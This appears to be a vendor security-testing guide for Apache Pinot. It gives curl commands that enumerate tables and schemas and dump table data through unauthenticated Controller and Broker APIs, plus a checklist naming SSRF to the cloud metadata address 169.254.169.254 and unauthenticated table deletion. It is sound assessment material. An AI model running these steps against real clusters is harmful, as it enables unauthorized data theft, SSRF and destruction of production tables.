Apache Pinot Security Testing: Unauthenticated Controller and Broker API, SQL Data Access, and Ingestion SSRF

Apache Pinot is a real-time distributed OLAP database used by LinkedIn, Uber, Walmart, and other large-scale companies for user-facing analytics at sub-second latency. Its security posture on default deployments requires careful attention: the Pinot Controller on port 9000 and Broker on port 8099 expose REST and SQL APIs without requiring authentication — any network client can execute SQL queries returning all table data, enumerate all tables and schemas via the Controller API, submit ingestion jobs that load data from arbitrary HTTP or S3 URLs (enabling SSRF), and delete tables or modify cluster topology; the Pinot web UI on port 9000 provides a full management interface accessible without credentials; ZooKeeper stores all Pinot metadata without authentication on default deployments; and Pinot's multi-stage query engine can be abused to create long-running expensive queries that exhaust cluster resources. This guide covers systematic Apache Pinot security assessment.

Table of Contents

  1. Pinot Discovery and API Enumeration
  2. Unauthenticated SQL Query Testing
  3. SSRF via Ingestion Specification
  4. Table Management Abuse
  5. Apache Pinot Security Hardening

Pinot Discovery and API Enumeration

# Apache Pinot default ports:
# 9000  — Controller (REST API + web UI)
# 8099  — Broker (SQL queries)
# 8098  — Server (segment serving)
# 8097  — Minion (background tasks)

# Check Controller health (no auth required)
curl -s http://pinot.example.com:9000/health 2>/dev/null
# Returns: OK if controller is running

# Get Pinot cluster info
curl -s http://pinot.example.com:9000/v2/api 2>/dev/null | head -5

# List all tables (no auth required on default deployments)
curl -s http://pinot.example.com:9000/tables 2>/dev/null | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
tables = data.get('tables', [])
print(f'Tables: {len(tables)}')
for t in tables[:20]:
    print(f'  {t}')
" 2>/dev/null

Unauthenticated SQL Query Testing

# Pinot SQL endpoint: POST /query/sql on Broker port 8099
# Also available via Controller: POST /sql

# Execute SQL query without authentication
curl -s -X POST http://pinot.example.com:8099/query/sql \
  -H "Content-Type: application/json" \
  -d '{"sql": "SELECT * FROM userEvents LIMIT 10"}' 2>/dev/null | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
results = data.get('resultTable', {})
cols = results.get('dataSchema', {}).get('columnNames', [])
rows = results.get('rows', [])
print(f'Columns: {cols}')
print(f'Rows returned: {len(rows)}')
if rows:
    print(f'Sample: {rows[0]}')
" 2>/dev/null

# Enumerate all tables and their schemas
curl -s http://pinot.example.com:9000/tables 2>/dev/null | \
  python3 -c "import json,sys; tables=json.load(sys.stdin).get('tables',[]); [print(t) for t in tables]" 2>/dev/null | \
while read TABLE; do
  echo "=== ${TABLE} ==="
  curl -s "http://pinot.example.com:9000/tables/${TABLE}/schema" 2>/dev/null | \
    python3 -c "
import json,sys
schema = json.load(sys.stdin)
dims = schema.get('dimensionFieldSpecs',[])
metrics = schema.get('metricFieldSpecs',[])
print(f'  Dimensions: {[d.get(\"name\",\"?\") for d in dims[:5]]}')
print(f'  Metrics: {[m.get(\"name\",\"?\") for m in metrics[:5]]}')
" 2>/dev/null
done

Apache Pinot Security Hardening

Apache Pinot Security Hardening Checklist:
Security TestMethodRisk
Controller and Broker APIs without authenticationGET /tables and POST /query/sql without credentials — 200 with data means no auth configuredCritical
All table data queryable via SQLSELECT * FROM table LIMIT N — exports analytics data without authorizationCritical
SSRF via ingestion spec URLSubmit ingestion job with inputDirURI pointing to http://169.254.169.254/ — triggers outbound request from Pinot nodeHigh
Table deletion without authorizationDELETE /tables/{tableName} — destroys production analytics tables without authenticationHigh
Schema enumeration via Controller APIGET /tables/{tableName}/schema — reveals all column names and data types for every tableMedium
ZooKeeper accessible without authenticationzkCli connect to ZK port 2181 — reads all Pinot routing metadata and segment assignmentsHigh

Automate Apache Pinot Security Testing

Ironimo tests Apache Pinot deployments for unauthenticated Controller and Broker REST and SQL APIs allowing full analytics data exfiltration, schema enumeration via the Controller API revealing all table structures and column names, SSRF via ingestion specification URLs causing Pinot nodes to connect to internal network targets, table deletion and configuration modification without authorization, and ZooKeeper deployed without authentication enabling cluster metadata enumeration and manipulation.

Start free scan